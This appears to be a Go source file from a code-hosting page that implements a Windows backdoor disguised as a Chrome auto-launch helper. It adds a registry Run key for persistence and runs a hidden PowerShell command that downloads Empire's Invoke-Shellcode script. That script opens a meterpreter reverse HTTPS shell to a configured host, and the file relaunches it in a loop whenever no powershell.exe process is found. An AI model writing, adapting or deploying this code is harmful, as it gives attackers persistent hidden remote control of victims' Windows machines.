-
Notifications
You must be signed in to change notification settings - Fork 145
/
Copy pathsource.go
92 lines (78 loc) · 1.97 KB
/
source.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package main
import (
"log"
"os"
"os/exec"
"strings"
"time"
"syscall"
"unsafe"
"golang.org/x/sys/windows/registry"
"net"
)
const (
NO_IP_HOST = "googlechromeauto.serveirc.com"
LHOST = "192.168.1.3"
LPORT = 443
TIME_SLEEP = 10
TEMP_PATH = "C:\\Temp"
REG_PATH = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
REG_NAME = "GoogleChromeAutoLaunch_9921366102WEAD21312ESAD31312"
REG_VALUE = `"` + TEMP_PATH + `\\GoogleChromeAutoLaunch.exe" --no-startup-window /prefetch:5`
)
var (
modwininet = syscall.NewLazyDLL("wininet.dll")
)
func setRegKeyValue(regPath string, name string, value string) {
k, err := registry.OpenKey(registry.CURRENT_USER, regPath, registry.ALL_ACCESS)
if err != nil {
log.Println(err)
return
}
defer k.Close()
err = k.SetStringValue(name, value)
if err != nil {
log.Println(err)
}
}
func fire() {
if NO_IP_HOST != "" {
// Check if no-ip is online or not
// getNoipIpAddress()
}
powershellCmd := "powershell -noprofile -windowstyle hidden iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost " + LHOST + " -Lport " + LPORT + " -Force;"
cmd := exec.Command("powershell", "-command", powershellCmd)
err := cmd.Run()
if err != nil {
log.Println(err)
}
}
func runAfterClose() {
foundIT := false
output, err := exec.Command("tasklist").Output()
if err != nil {
log.Println(err)
}
lines := strings.Split(string(output), "\n")
for _, line := range lines {
if strings.Contains(line, "powershell.exe") {
foundIT = true
break
}
}
if !foundIT {
fire()
}
}
func getNoipIpAddress() {
// Implementation for getting the IP address using DNS resolving in Go
}
func main() {
fire()
time.Sleep(5 * time.Second)
setRegKeyValue(REG_PATH, REG_NAME, REG_VALUE)
for {
runAfterClose()
time.Sleep(TIME_SLEEP * time.Second)
}
}